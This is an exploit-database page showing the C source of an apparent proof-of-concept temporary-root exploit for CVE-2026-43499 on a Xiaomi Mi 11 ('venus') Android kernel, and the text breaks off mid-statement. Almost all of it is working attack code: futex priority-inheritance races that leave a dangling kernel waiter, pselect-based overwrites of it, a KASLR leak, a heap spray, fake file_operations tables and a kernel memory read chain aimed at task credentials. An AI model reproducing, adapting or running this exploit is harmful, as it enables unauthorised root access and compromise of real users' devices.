Exploit database

GH-9036237f0374545e6db98004e1a6e138

heikeyangle-code/mi11-venus-temproot

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-43499

165 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files15
heikeyangle-code/mi11-venus-temprootRevision d1c68427c4b0

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

src/main.c

C · 32,467 bytes
#include "common.h"

uint32_t f_wait;
uint32_t f_pi_target;
uint32_t f_pi_chain;
atomic_int waiter_ready;
atomic_int waiter_waiting;
atomic_int owner_started;
atomic_int owner_chain_done;
atomic_int route_done;
atomic_int waiter_tid;
atomic_int punch_consume_go;
atomic_int punch_consume_stop;
atomic_int consumer_calls;
atomic_int consumer_success;
atomic_int consumer_finished;
atomic_int consumer_tid;
atomic_int main_route_delay_usec;
atomic_int pipe_prepare_request;
atomic_int pipe_prepare_done;
int memfd_leak;
uintptr_t ghostlock_waiter_task_addr;

void *waiter_thread(void *arg __attribute__((unused))) {
  disable_rseq_for_thread();

  int tid = (int)syscall(SYS_gettid);
  atomic_store(&waiter_tid, tid);

  /* GHOSTLOCK_TASK_FOR_WAITER=1: resolve THIS thread's task_struct and publish
   * it as WAITER_TASK=<addr>.
   *
   * It is the task that owns the dangling rt_mutex_waiter (the CVE leaves
   * W->pi_blocked_on pointing at a dead stack slot), so it is the task whose
   * +0x8f8 (FAKE_TASK_PI_BLOCKED_ON_OFF) the harness must read to find out
   * whether the dangling state is still there. The consumer-side
   * ghostlock_find_task() samples whichever task perf happens to catch and can
   * return the consumer, whose pi_blocked_on is always NULL -- a guaranteed
   * false negative. */
  {
    const char *wf = getenv("GHOSTLOCK_TASK_FOR_WAITER");
    if (wf && *wf && *wf != '0') {
      uintptr_t me = ghostlock_find_task();
      if (me) {
        fake_waiter_task = me;
        ghostlock_waiter_task_addr = me;
        pr_success("WAITER_TASK=%016zx tid=%d\n", (size_t)me, tid);
      } else {
        pr_error("WAITER_TASK perf lookup failed tid=%d\n", tid);
      }
    }
  }

  if (futex_op(&f_pi_chain, FUTEX_LOCK_PI, 0, NULL, NULL, 0) != 0) {
    pr_error("waiter lock chain errno=%d\n", errno);
  }

  atomic_store(&waiter_ready, 1);
  while (!atomic_load(&owner_started)) {
    usleep(1000);
  }

  struct timespec timeout;
  SYSCHK(clock_gettime(CLOCK_MONOTONIC, &timeout));
  /* GHOSTLOCK_ROUTE_WAIT_SECONDS=<n>: how long W sleeps in WAIT_REQUEUE_PI
   * before the route starts. The EDEADLK (and therefore the dangling waiter)
   * is established ~100 ms after the requeue, so 8 s (the compiled default) is
   * pure dead time. A short value is what makes one write cost ~2 s instead of
   * ~10 s, which matters once a whole campaign is a loop of arms. Only lower it:
   * the waiter must still be sitting in the queue when CMP_REQUEUE_PI fires. */
  {
    long wait_s = ROUTE_WAIT_SECONDS;
    const char *wenv = getenv("GHOSTLOCK_ROUTE_WAIT_SECONDS");
    if (wenv && *wenv) {
      long v = strtol(wenv, NULL, 0);
      if (v >= 1 && v <= ROUTE_WAIT_SECONDS) {
        wait_s = v;
      }
    }
    timeout.tv_sec += wait_s;
  }

  atomic_store(&waiter_waiting, 1);
  errno = 0;
  long wr = futex_op(&f_wait, FUTEX_WAIT_REQUEUE_PI, 0, &timeout, &f_pi_target, 0);
  pr_info("main waiter WAIT_REQUEUE_PI ret=%ld errno=%d, entering pselect route\n",
          wr, errno);

  do_pselect_fake_lock_route();
  pr_info("main waiter pselect route returned\n");
  atomic_store(&route_done, 1);

  futex_op(&f_pi_chain, FUTEX_UNLOCK_PI, 0, NULL, NULL, 0);
  while (!atomic_load(&owner_chain_done)) {
    usleep(1000);
  }
  return NULL;
}

void *owner_thread(void *arg __attribute__((unused))) {
  disable_rseq_for_thread();

  long lock_target = futex_op(&f_pi_target, FUTEX_LOCK_PI, 0, NULL, NULL, 0);
  if (lock_target != 0) {
    pr_error("owner lock target errno=%d\n", errno);
  }

  while (!atomic_load(&waiter_ready)) {
    usleep(1000);
  }

  atomic_store(&owner_started, 1);
  errno = 0;
  futex_op(&f_pi_chain, FUTEX_LOCK_PI, 0, NULL, NULL, 0);
  pr_info("main owner chain lock ret errno=%d\n", errno);
  atomic_store(&owner_chain_done, 1);

  for (;;) {
    sleep(1);
  }
}

/* GHOSTLOCK_STATE_WATCH=1: sample /proc/self/task/<tid>/{stat,wchan} for the
 * waiter and the consumer while the pselect window is open.
 *
 * Why: `sched_setattr` on the waiter took exactly as long as the pselect it was
 * supposed to interrupt. Three completely different causes fit that one number,
 * and nothing user-space visible separates them:
 *
 *   state=S + wchan=<sym>   -> sleeping on <sym>          (a real wait)
 *   state=R + wchan=-       -> running/spinning, IRQs off (raw spinlock)
 *   state=R + wchan=<sym>   -> only got the CPU back after the window closed
 *
 * wchan prints the *last* schedule-out symbol, so the spin case shows either
 * "-" (never slept) or an unrelated symbol. That is enough to pick a branch. */
static void dump_task_state(const char *tag, int tid) {
  if (tid <= 0) {
    return;
  }
  char path[64];
  char buf[256];
  char state = '?';
  unsigned long long ut = 0, st = 0;
  snprintf(path, sizeof(path), "/proc/self/task/%d/stat", tid);
  int fd = open(path, O_RDONLY | O_CLOEXEC);
  if (fd >= 0) {
    ssize_t n = read(fd, buf, sizeof(buf) - 1);
    close(fd);
    if (n > 0) {
      buf[n] = 0;
      char *p = strrchr(buf, ')'); /* comm may contain spaces/parentheses */
      if (p && p[1] == ' ' && p[2]) {
        state = p[2];
        /* Fields after ") ": 1=state 2=ppid ... 12=utime 13=stime (USER_HZ).
         * utime/stime is what separates the three candidate causes:
         *   spinning on a raw lock  -> hundreds of ticks in one 5 s window
         *   sleeping on a lock      -> ~0 ticks, state S with a wchan symbol
         *   merely descheduled      -> ~0 ticks, state R when sampled
         * state/wchan alone cannot tell "spinning" from "got the CPU back
         * after the window closed", which is exactly the 2026-10-28 question. */
        char *save = NULL;
        int idx = 0;
        for (char *tok = strtok_r(p + 1, " ", &save); tok;
             tok = strtok_r(NULL, " ", &save)) {
          if (++idx == 12) {
            ut = strtoull(tok, NULL, 10);
          } else if (idx == 13) {
            st = strtoull(tok, NULL, 10);
            break;
          }
        }
      }
    }
  }
  /* Per-tag previous sample so the log carries a delta instead of a raw
   * counter. tag[0]=='c' -> consumer, 'w' -> waiter. */
  static unsigned long long prev_ut[2], prev_st[2];
  int slot = (tag[0] == 'c') ? 0 : 1;
  unsigned long long dut = 0, dst = 0;
  int have_prev = prev_ut[slot] || prev_st[slot];
  if (have_prev) {
    dut = ut >= prev_ut[slot] ? ut - prev_ut[slot] : 0;
    dst = st >= prev_st[slot] ? st - prev_st[slot] : 0;
  }
  prev_ut[slot] = ut;
  prev_st[slot] = st;
  buf[0] = 0;
  snprintf(path, sizeof(path), "/proc/self/task/%d/wchan", tid);
  fd = open(path, O_RDONLY | O_CLOEXEC);
  if (fd >= 0) {
    ssize_t n = read(fd, buf, sizeof(buf) - 1);
    close(fd);
    if (n > 0) {
      buf[n] = 0;
    } else {
      buf[0] = 0;
    }
  }
  if (have_prev) {
    pr_info("STATE %s tid=%d state=%c wchan=%s utime=%llu stime=%llu "
            "cpu_delta=%llu ticks\n",
            tag, tid, state, buf[0] ? buf : "-", ut, st, dut + dst);
  } else {
    pr_info("STATE %s tid=%d state=%c wchan=%s utime=%llu stime=%llu "
            "cpu_delta=first\n",
            tag, tid, state, buf[0] ? buf : "-", ut, st);
  }
}

void *state_watch_thread(void *arg __attribute__((unused))) {
  disable_rseq_for_thread();
  /* Sample for as long as the go flag is up (i.e. for the whole pselect
   * window), then go back to waiting so multi-attempt runs are covered too.
   * ~20 s of uninterrupted idleness means the route is over -- exit. */
  int idle = 0;
  while (idle < 400) { /* 400 * 50 ms */
    if (atomic_load(&punch_consume_go) == 0) {
      usleep(50000);
      idle++;
      continue;
    }
    idle = 0;
    dump_task_state("consumer", atomic_load(&consumer_tid));
    dump_task_state("waiter", atomic_load(&waiter_tid));
    usleep(200000);
  }
  return NULL;
}

/* Spawned from fops.c right before the go flag is raised, so the sampler is
 * already running when the consumer fires. */
static int g_state_watch_started;

void ghostlock_start_state_watch(void) {
  if (g_state_watch_started) {
    return;
  }
  const char *e = getenv("GHOSTLOCK_STATE_WATCH");
  if (!e || !*e || *e == '0') {
    return;
  }
  g_state_watch_started = 1;
  pthread_t t;
  if (pthread_create(&t, NULL, state_watch_thread, NULL) == 0) {
    pthread_detach(t);
    pr_info("STATE_WATCH armed: sampling consumer/waiter stat+wchan every 200 ms\n");
  } else {
    pr_warning("STATE_WATCH: pthread_create failed\n");
  }
}

/* GHOSTLOCK_WCHAN_GATE=1: fire only once the pselect thread is really blocked
 * inside select.
 *
 * Why (measured 2026-10-28): the arm is a coin flip. pselect() copies the three
 * fd_set bitmaps into do_select()'s on-stack stack_fds[]; if sched_setattr()
 * runs *before* that copy, rt_mutex_adjust_prio_chain() still sees the REAL
 * rt_mutex_waiter (waiter->lock = the real f_pi_target, whose wait_lock is 0),
 * the :585 trylock succeeds, the walk completes and sched_setattr() returns 0 --
 * externally identical to a hit except that our write never happens. success=1
 * was observed both ways.
 *
 * The waiter thread's wchan is the fact we need: while it sits in
 * poll_schedule_timeout() the string starts with do_select (or
 * core_sys_select), which can only be true *after* the bitmaps were copied.
 * /proc/self/task/<tid>/wchan is readable for our own threads.
 *
 * Bounded (default 300 ms) so a missed window cannot wedge the arm. */
static int wait_for_select_wchan(int tid, int timeout_ms) {
  char path[64];
  char buf[64];
  snprintf(path, sizeof(path), "/proc/self/task/%d/wchan", tid);
  for (int i = 0; i < timeout_ms * 4; i++) {
    int fd = open(path, O_RDONLY | O_CLOEXEC);
    if (fd >= 0) {
      ssize_t n = read(fd, buf, sizeof(buf) - 1);
      close(fd);
      if (n > 0) {
        buf[n] = 0;
        if (strstr(buf, "select")) {
          return 1;
        }
      }
    }
    usleep(250);
  }
  return 0;
}

void *consumer_thread(void *arg __attribute__((unused))) {
  disable_rseq_for_thread();
  pin_to_core(CONSUMER_CORE);
  atomic_store(&consumer_tid, (int)syscall(SYS_gettid));

  /* GHOSTLOCK_EX1_SELF=1: make the pselect waiter's `task` field point at THIS
   * thread's task_struct, which is the task that will walk the chain.
   *
   * Why: with a fake lock whose owner word is 0 (e.g. init_cred+4, the cheapest
   * known-zero 0x20 bytes in the kernel), rt_mutex_adjust_prio_chain() takes its
   * "no owner: wake the top waiter" exit at rtmutex.c:698 and calls
   * wake_up_process(top_waiter->task) with the value we put in ex[1]. That is
   * the one dereference which turns an otherwise clean no-payload write into a
   * dead box: NULL, the (wrong) INIT_TASK constant, the idle task and a real
   * sleeping victim were all tried on 2026-10-28 and every one of them took the
   * machine down.
   *
   * Pointing it at *ourselves* cannot: try_to_wake_up() on this device has no
   * p == current fast path (vendor WALT variant, kernel/sched/core.c:2642), but
   * the first thing it does after taking p->pi_lock is
   *     if (!(p->state & state)) goto out;
   * and the current task is TASK_RUNNING (state 0) inside a syscall, so the
   * wake is a no-op that never leaves the function. p->pi_lock is not held by
   * us here: rt_mutex_adjust_prio_chain() released both task->pi_lock (:688) and
   * the fake lock's wait_lock (:706) around this point.
   *
   * Ordering: this runs in run_main_route_threads(), i.e. AFTER the payload
   * builder has already set fake_waiter_task from INIT_TASK, so our value wins
   * and prepare_pselect_fdsets() writes it into ex[1]. */
  {
    const char *self1 = getenv("GHOSTLOCK_EX1_SELF");
    if (self1 && *self1 && *self1 != '0') {
      uintptr_t me = ghostlock_find_task();
      if (me) {
        fake_waiter_task = me;
        pr_warning("pselect EX1_SELF consumer task=%016zx (wake_up_process "
                   "on a running task is a no-op)\n", (size_t)me);
      } else {
        pr_error("pselect EX1_SELF: perf task lookup failed\n");
      }
    }
  }

  int seen = 0;

  while (!atomic_load(&punch_consume_stop)) {
    int seq = atomic_load(&punch_consume_go);
    if (seq == 0 || seq == seen) {
      __asm__ volatile("yield" ::: "memory");
      continue;
    }

    seen = seq;
    int tid = atomic_load(&waiter_tid);
    int calls_this_seq = 0;
    while (!atomic_load(&punch_consume_stop) &&
           atomic_load(&punch_consume_go) == seq) {
      if (atomic_load(&punch_consume_stop) ||
          atomic_load(&punch_consume_go) != seq) {
        continue;
      }
      int delay_usec = atomic_load(&main_route_delay_usec);
      if (delay_usec > 0) {
        usleep((useconds_t)delay_usec);
      }
      /* GHOSTLOCK_WCHAN_GATE=1: replace the fixed delay with a fact. Poll the
       * waiter's wchan until it is parked inside select, i.e. until the fd_set
       * copy that overwrites the dangling rt_mutex_waiter has certainly
       * happened. See wait_for_select_wchan(). */
      {
        const char *gate = getenv("GHOSTLOCK_WCHAN_GATE");
        if (gate && *gate && *gate != '0') {
          int inside = wait_for_select_wchan(tid, 300);
          pr_info("consumer wchan gate tid=%d inside_select=%d ts=%llu\n", tid,
                  inside, (unsigned long long)gl_now_us());
        }
      }
      for (int burst = 0; burst < PSELECT_CONSUMER_BURST_CALLS; burst++) {
        if (atomic_load(&punch_consume_stop) ||
            atomic_load(&punch_consume_go) != seq) {
          break;
        }
        atomic_fetch_add(&consumer_calls, 1);
        int consumer_nice = PSELECT_CONSUMER_NICE;
        errno = 0;
        if (ghostlock_no_sched_mode()) {
          /* bisect probe: prove pselect survives standing on the dangling
           * waiter without the PI chain ever being entered */
          pr_info("consumer NO_SCHED probe tid=%d skipped sched_setattr\n", tid);
          atomic_fetch_add(&consumer_finished, 1);
          calls_this_seq++;
          if (calls_this_seq >= CONSUMER_MAX_CALLS) {
            atomic_store(&punch_consume_go, 0);
            break;
          }
          continue;
        }
        pr_info("consumer pre sched_setattr tid=%d nice=%d ts=%llu\n", tid,
                consumer_nice, (unsigned long long)gl_now_us());
        /* GHOSTLOCK_TRIGGER=lockpi: use the *public chain's* trigger instead of
         * sched_setattr (intel/intel2-20261028/REPORT.md §2, dnlid trigger.c:206).
         *
         * FUTEX_LOCK_PI(f_pi_chain) does NOT walk the chain at enqueue time: the
         * owner thread is already queued on the same lock with the same prio,
         * so the new waiter is not the top waiter and task_blocks_on_rt_mutex()
         * takes its "nothing to adjust" branch. The walk that matters happens at
         * *timeout*: remove_waiter() then calls
         *   rt_mutex_adjust_prio_chain(owner=W, RT_MUTEX_MIN_CHAINWALK,
         *                              lock=f_pi_chain, next_lock, NULL, self)
         * with orig_waiter == NULL and task == W, which reads
         * W->pi_blocked_on (the pselect-overwritten waiter), passes the
         * rt_mutex_waiter_equal() check because we set waiter->prio = 0, and
         * lands on :537 -> :585 exactly like rt_mutex_adjust_pi() does — but
         * without __sched_setscheduler()'s oldprio!=newprio requirement.
         *
         * The timeout is therefore the trigger, not a failure: 30 ms after GO
         * is comfortably inside the window. */
        const char *trig = getenv("GHOSTLOCK_TRIGGER");
        if (trig && !strcmp(trig, "lockpi")) {
          long ms = 30;
          const char *to = getenv("GHOSTLOCK_TRIGGER_TIMEOUT_MS");
          if (to && *to) {
            ms = strtol(to, NULL, 0);
          }
          if (ms < 1) ms = 1;
          if (ms > 4000) ms = 4000;
          struct timespec ts;
          SYSCHK(clock_gettime(CLOCK_REALTIME, &ts)); /* LOCK_PI: absolute REALTIME */
          ts.tv_sec += ms / 1000;
          long nsec = ts.tv_nsec + (long)(ms % 1000) * 1000000L;
          if (nsec >= 1000000000L) {
            ts.tv_sec++;
            nsec -= 1000000000L;
          }
          ts.tv_nsec = nsec;
          uint64_t t0 = gl_now_us();
          pr_info("consumer pre LOCK_PI(chain) tid=%d timeout_ms=%ld ts=%llu\n",
                  tid, ms, (unsigned long long)t0);
          errno = 0;
          long lp = futex_op(&f_pi_chain, FUTEX_LOCK_PI, 0, &ts, NULL, 0);
          int lp_errno = errno;
          uint64_t t1 = gl_now_us();
          pr_info("consumer post LOCK_PI(chain) ret=%ld errno=%d dt=%llu ms ts=%llu"
                  " (%s)\n", lp, lp_errno,
                  (unsigned long long)((t1 - t0) / 1000), (unsigned long long)t1,
                  (lp == -1 && lp_errno == ETIMEDOUT)
                      ? "timeout = the remove_waiter() walk ran"
                      : (lp == 0 ? "acquired (chain did not walk)" : "other"));
          if (lp == 0) {
            futex_op(&f_pi_chain, FUTEX_UNLOCK_PI, 0, NULL, NULL, 0);
            atomic_fetch_add(&consumer_success, 1);
          }
          atomic_fetch_add(&consumer_finished, 1);
          calls_this_seq++;
          if (calls_this_seq >= CONSUMER_MAX_CALLS) {
            atomic_store(&punch_consume_go, 0);
            break;
          }
          continue;
        }
        long sched_ret = sched_setattr_tid(tid, consumer_nice);
        int sched_errno = errno;
        pr_info("consumer post sched_setattr ret=%ld errno=%d ts=%llu\n",
                sched_ret, sched_errno, (unsigned long long)gl_now_us());
        if (sched_ret == 0) {
          atomic_fetch_add(&consumer_success, 1);
        }
        /* The PI walk runs *inside* this syscall, so the payload page is not
         * final until it returns. On 2026-10-29 sched_setattr() came back
         * 2.2 ms *after* pselect() timed out, which made a canary read at
         * pselect-return time report mutated=0 for a write that did happen. */
        atomic_fetch_add(&consumer_finished, 1);
        calls_this_seq++;
        if (calls_this_seq >= CONSUMER_MAX_CALLS) {
          atomic_store(&punch_consume_go, 0);
          break;
        }
      }
    }
  }

  return NULL;
}

void reset_main_route_state(void) {
  f_wait = 0;
  f_pi_target = 0;
  f_pi_chain = 0;
  atomic_store(&waiter_ready, 0);
  atomic_store(&waiter_waiting, 0);
  atomic_store(&owner_started, 0);
  atomic_store(&owner_chain_done, 0);
  atomic_store(&route_done, 0);
  atomic_store(&waiter_tid, 0);
  atomic_store(&punch_consume_go, 0);
  atomic_store(&punch_consume_stop, 0);
  atomic_store(&consumer_calls, 0);
  atomic_store(&consumer_success, 0);
  atomic_store(&main_route_delay_usec, PSELECT_ENTER_DELAY_USEC);
  atomic_store(&pipe_prepare_request, 0);
  atomic_store(&pipe_prepare_done, 0);
  cfi_last_step = 0;
  cfi_last_errno = 0;
}

void run_main_route_threads(void) {
  reset_main_route_state();

  pthread_t waiter;
  pthread_t owner;
  pthread_t consumer;
  SYSCHK(pthread_create(&waiter, NULL, waiter_thread, NULL));
  SYSCHK(pthread_create(&owner, NULL, owner_thread, NULL));
  SYSCHK(pthread_create(&consumer, NULL, consumer_thread, NULL));

  while (!atomic_load(&waiter_waiting) || !atomic_load(&owner_started)) {
    usleep(1000);
  }

  usleep(100000);
  errno = 0;
  futex_op(&f_wait, FUTEX_CMP_REQUEUE_PI, 1, (void *)1, &f_pi_target, 0);

  while (!atomic_load(&route_done)) {
    if (atomic_exchange(&pipe_prepare_request, 0)) {
      pipebuf_page_base = prepare_pipe_buffer_page();
      atomic_store(&pipe_prepare_done, 1);
    }
    usleep(10000);
  }
}

int run_exploit(int argc, char **argv) {
  (void)argc;
  (void)argv;

  disable_rseq_for_thread();
  set_unbuffer();
  set_limit();
  log_startup_context();
  init_ashmem_path();
  /* Heartbeat first, before anything that can block for tens of seconds: the
   * host driver uses it to tell a slow leak from a wedged process. */
  hb_mark(HB_LEAK);
  hb_start("ex");

  /* GHOSTLOCK_HOLD_VICTIM=1: stand up the victim thread, publish its
   * task_struct address, then park. Nothing else runs -- no slide leak, no
   * spray, no pselect.
   *
   * Why this exists (H3): W1/W2/W3 must aim three independent 8-byte stores at
   * ONE task_struct, but rb_erase_cached yields exactly one fire per process
   * and every firing process has to run prepare_kernel_page() first, which
   * forks ~1000 pausing children that only die when it exits. So the task being
   * modified has to live in a process separate from the three writers: this
   * mode is that process. It never sprays, therefore it leaks nothing.
   *
   * VICTIM_TASK is a direct-map address and stays valid for the rest of the
   * boot, so the writers take it by absolute value (GHOSTLOCK_TARGET=<VICTIM_TASK>+0x660
   * etc.) instead of each re-deriving it with perf. */
  const char *hv = getenv("GHOSTLOCK_HOLD_VICTIM");
  if (hv && *hv && *hv != '0') {
    uintptr_t vic = ghostlock_find_victim();
    if (!vic) {
      pr_error("HOLD_VICTIM: perf task lookup failed\n");
      return 1;
    }
    pr_success("VICTIM_TASK=%016zx tid=%d cred=%016zx realcred=%016zx comm=%016zx\n",
               (size_t)vic, ghostlock_victim_tid(),
               (size_t)(vic + TASK_CRED_OFF),
               (size_t)(vic + TASK_REAL_CRED_OFF),
               (size_t)(vic + TASK_COMM_OFF));
    for (;;) {
      hb_mark(HB_HOLD);
      sleep(3600);
    }
  }

  pin_to_core(CORE);
  hb_mark(HB_SLIDE);
  if (!slide_leak_kernel_base()) {
    pr_error("slide kaslr leak failed\n");
    return 1;
  }
  hb_mark(HB_LEAK_DONE);

  /* GHOSTLOCK_PROBE_OPEN=1: pure userspace probe -- no spray, no pselect.
   * Prints one PROBE_OPEN line and exits with 0 on success or 2 on failure.
   *
   * This is the P1 acceptance test from ROADMAP.md. The baseline
   * uhid_misc.fops is the real uhid_fops, whose ->owner is NULL (uhid is
   * built in), so try_module_get(NULL) succeeds and /dev/uhid opens fine.
   * After a plant that points misc_fops at our payload page, fake_fops->owner
   * holds `&uhid_misc.fops - 8` -- the rb_erase_cached collateral -- and
   * fops_get() walks that garbage, so misc_open() returns -ENODEV. Once a
   * second process has stored 0 into that word, try_module_get(NULL) succeeds
   * again and open() must return a real fd.
   *
   * errno tells the cases apart: ENODEV means the plant is armed with a dirty
   * owner (i.e. the write landed), EACCES/EPERM means SELinux is in the way,
   * ENOENT means the node is gone.
   *
   * When the open does succeed, the returned file already carries our fake
   * file_operations, so GHOSTLOCK_PROBE_READ=<spec[,spec...]> can use the
   * configfs read chain on that fd without any further priming. That is the
   * only way to distinguish "the write never landed" from "the write landed
   * but the dirty owner happened to look alive". Spec grammar matches
   * GHOSTLOCK_WRITE_SEQ: off:<hex> / slot / fops / <hex>, each with an
   * optional +<hex>. */
  const char *probe_open = getenv("GHOSTLOCK_PROBE_OPEN");
  if (probe_open && *probe_open && *probe_open != '0') {
    /* Plain open() instead of open_ashmem_device(): that helper wraps the call
     * in SYSCHK, which prints and exits on failure, and the caller then never
     * sees the errno that distinguishes ENODEV (plant armed) from EACCES
     * (SELinux) from ENOENT (wrong node). */
    const char *devname = getenv("GHOSTLOCK_DEV") ? getenv("GHOSTLOCK_DEV")
                                                  : DEFAULT_MISC_DEV;
    errno = 0;
    int pfd = open(devname, O_RDWR | O_CLOEXEC);
    int perr = errno;
    if (pfd < 0) {
      pr_error("PROBE_OPEN fail errno=%d dev=%s (%s)\n", perr, devname,
               perr == ENODEV ? "ENODEV -- fops_get() rejected the owner"
                              : perr == EACCES || perr == EPERM
                                    ? "EACCES/EPERM -- SELinux"
                                    : perr == ENOENT ? "ENOENT -- no such node"
                                                     : "other");
      return 2;
    }
    pr_success("PROBE_OPEN ok fd=%d dev=%s\n", pfd, devname);

    /* GHOSTLOCK_PROBE_IOCTL=1: is the fd's f_op really carrying ashmem's
     * handlers? GET_SIZE is the cheapest probe -- it has no side effects and
     * returns asma->size (0 for a fresh area). A -ENOTTY here means the ioctl
     * never reached ashmem_ioctl even though open() succeeded, which is the
     * exact failure that made configfs_read_once() return -1/ENOTTY. */
    const char *probe_ioctl = getenv("GHOSTLOCK_PROBE_IOCTL");
    if (probe_ioctl && *probe_ioctl && *probe_ioctl != '0') {
      pr_info("PROBE_IOCTL cmd SET_NAME=%#x GET_NAME=%#x GET_SIZE=%#x "
              "name_len=%d\n", (unsigned)ASHMEM_SET_NAME,
              (unsigned)ASHMEM_GET_NAME, (unsigned)ASHMEM_GET_SIZE,
              ASHMEM_NAME_LEN);
      errno = 0;
      long gs = ioctl(pfd, ASHMEM_GET_SIZE, 0);
      pr_info("PROBE_IOCTL GET_SIZE ret=%ld errno=%d\n", gs, errno);

      static char nm[ASHMEM_NAME_LEN];
      memset(nm, 'A', sizeof(nm));
      nm[ASHMEM_NAME_LEN - 1] = 0;
      errno = 0;
      long sn = ioctl(pfd, ASHMEM_SET_NAME, nm);
      pr_info("PROBE_IOCTL SET_NAME ret=%ld errno=%d\n", sn, errno);

      errno = 0;
      long gs2 = ioctl(pfd, ASHMEM_GET_SIZE, 0);
      pr_info("PROBE_IOCTL GET_SIZE after-set ret=%ld errno=%d\n", gs2, errno);

      /* Which table is file->f_op pointing at, really?
       *
       * uhid_char_read() sleeps on wait_event_interruptible until the kernel
       * queues an event, so with O_NONBLOCK set it returns -EAGAIN immediately
       * and touches nothing. Our fake table's read slot is configfs_read_file,
       * which would instead decode the ashmem area as a configfs_buffer.
       * -EAGAIN therefore proves f_op is still the real uhid_fops even though
       * open() returned success -- i.e. misc_open() ran without ever calling
       * replace_fops(), which is only possible if fops_get() handed back the
       * original pointer. */
      /* The read/write and lseek probes are only safe once we know the table
       * is ours: configfs_read_file() treats the ashmem area as a
       * configfs_buffer and locks a mutex that is not a mutex, and the fake
       * llseek slot jumps into the payload page on purpose. Gate both so the
       * cheap, non-destructive GET_SIZE/SET_NAME probes can be run on their
       * own. */
      const char *probe_rw = getenv("GHOSTLOCK_PROBE_RW");
      const char *probe_lseek = getenv("GHOSTLOCK_PROBE_LSEEK");
      int fl = fcntl(pfd, F_GETFL, 0);
      if (fl >= 0) {
        fcntl(pfd, F_SETFL, fl | O_NONBLOCK);
      }
      char rb[8];
      errno = 0;
      ssize_t rnb = -1;
      if (probe_rw && *probe_rw && *probe_rw != '0') {
        rnb = read(pfd, rb, sizeof(rb));
        pr_info("PROBE_READ_NB ret=%zd errno=%d (EAGAIN=11 means real uhid_fops)\n",
                rnb, errno);
      }

      /* read() alone is ambiguous: EINVAL comes both from uhid_char_read's
       * "count < sizeof(struct uhid_event)" check and from __vfs_read's
       * "f_op->read == NULL" branch. write() separates them cleanly:
       *   configfs_write_bin_file -> buffer->bin_buffer is 0 -> EFAULT (14)
       *   uhid_char_write         -> count < sizeof(uhid_event) -> EINVAL (22)
       * Neither writes anything to the device. */
      char wb[8] = {0};
      if (probe_rw && *probe_rw && *probe_rw != '0') {
        errno = 0;
        ssize_t wnb = write(pfd, wb, sizeof(wb));
        pr_info("PROBE_WRITE_NB ret=%zd errno=%d (14=fake_fops, 22=uhid_fops)\n",
                wnb, errno);
      }

      /* The decisive one. Our fake table's llseek slot holds
       * fake_w0 + FAKE_WAITER_PI_TREE_ENTRY_OFF, i.e. a payload-page address,
       * so a successful fake table means this call jumps into the page (and
       * the machine dies). -ESPIPE means f_op->llseek is NULL, which can only
       * happen if the page fake_fops points at is still all zeroes -- i.e.
       * SKB_DATA_DELTA picked the wrong 4 KB block and the table was never
       * where we think it is. Run this last on purpose. */
      if (probe_lseek && *probe_lseek && *probe_lseek != '0') {
        errno = 0;
        off_t lsr = lseek(pfd, 0, SEEK_SET);
        pr_info("PROBE_LSEEK ret=%lld errno=%d (29=ESPIPE => fake_fops page is "
                "blank => SKB_DATA_DELTA is wrong)\n", (long long)lsr, errno);
      }
    }

    const char *rd = getenv("GHOSTLOCK_PROBE_READ");
    if (rd && *rd) {
      const char *s = rd;
      for (int idx = 0; *s && idx < 16; idx++) {
        char *e = NULL;
        uintptr_t addr;
        if (!strncmp(s, "off:", 4)) {
          addr = text_addr(KIMAGE_TEXT_BASE + strtoull(s + 4, &e, 0));
        } else if (!strncmp(s, "slot", 4)) {
          addr = data_addr(ASHMEM_MISC_FOPS);
          e = (char *)s + 4;
        } else if (!strncmp(s, "fops", 4)) {
          addr = fake_fops;
          e = (char *)s + 4;
        } else {
          addr = strtoull(s, &e, 0);
        }
        if (e && *e == '+') {
          addr += strtoull(e + 1, &e, 0);
        }
        uint64_t val = 0;
        errno = 0;
        ssize_t rn = configfs_read_once(pfd, addr, &val, sizeof(val));
        pr_success("PROBE_READ[%d] addr=%016zx n=%zd errno=%d value=%016zx\n",
                   idx, (size_t)addr, rn, errno, (size_t)val);
        if (!e || *e != ',') {
          break;
        }
        s = e + 1;
      }
    }

    SYSCHK(close(pfd));
    return 0;
  }

  pin_to_core(CORE);

  /* GHOSTLOCK_NO_PAGE=1: skip the payload page entirely.
   *
   * Since 2026-10-28 the write primitive no longer needs a page at all: with
   * GHOSTLOCK_EX2 pointing waiter->lock at a known-zero 0x20-byte kernel object
   * (init_cred+4 works, and its address is text-relative so it survives a
   * reboot) the chain's :585 trylock succeeds without ever touching the heap
   * spray. GHOSTLOCK_EX1_SELF then neutralises the owner==0 wake, so the arm
   * completes in ~0.5 ms.
   *
   * The spray (leak + ~1360 clones + 60 KB of sk_buff + 1088 SIGKILLs) is what
   * makes one arm cost ~90 s, and on this device every arm is also a reboot
   * candidate. Skipping it drops an arm to a couple of seconds, which is what
   * makes "read two globals in the same boot" practical.
   *
   * The route itself must be told about this: do_pselect_fake_lock_route()
   * normally bails when page_base is 0. */
  {
    const char *np = getenv("GHOSTLOCK_NO_PAGE");
    if (np && *np && *np != '0') {
      pr_warning("NO_PAGE: skipping prepare_good_kernel_page (write uses the "
                 "EX2 lock; no payload page)\n");
      page_base = 0;
    } else {
      page_base = prepare_good_kernel_page(PAGE_PAYLOAD_FOPS);
    }
  }

  /* GHOSTLOCK_STOP_AFTER_PREPARE=1: bisect the two halves of the exploit.
   *
   * prepare_kernel_page() (leak + 1360-process clone storm + sk_buff spray +
   * 1088 SIGKILLs) and the pselect route that follows are two very different
   * beasts, and a reboot during either one looks identical from the outside.
   * Parking here with the page already planted tells them apart: survive =>
   * the spray half is safe and the route is the killer; die => the spray is.
   */
  {
    const char *sap = getenv("GHOSTLOCK_STOP_AFTER_PREPARE");
    if (sap && *sap && *sap != '0') {
      pr_success("PREPARE_DONE base=%016zx fops=%016zx lock=%016zx park\n",
                 (size_t)page_base, (size_t)fake_fops, (size_t)fake_lock);
      for (;;) sleep(3600);
    }
  }

  run_main_route_threads();

  pr_success("pipe-physrw-summary pid=%d done=%d root=%d kaslr=%d base=%016zx slide=%016zx\n",
             getpid(), atomic_load(&cfi_stage_done), root_child_done,
             kaslr_done, kaslr_base, kaslr_slide);
  pr_success("pipe physrw pid=%d done=%d root=%d kaslr=%d read_ok=%d "
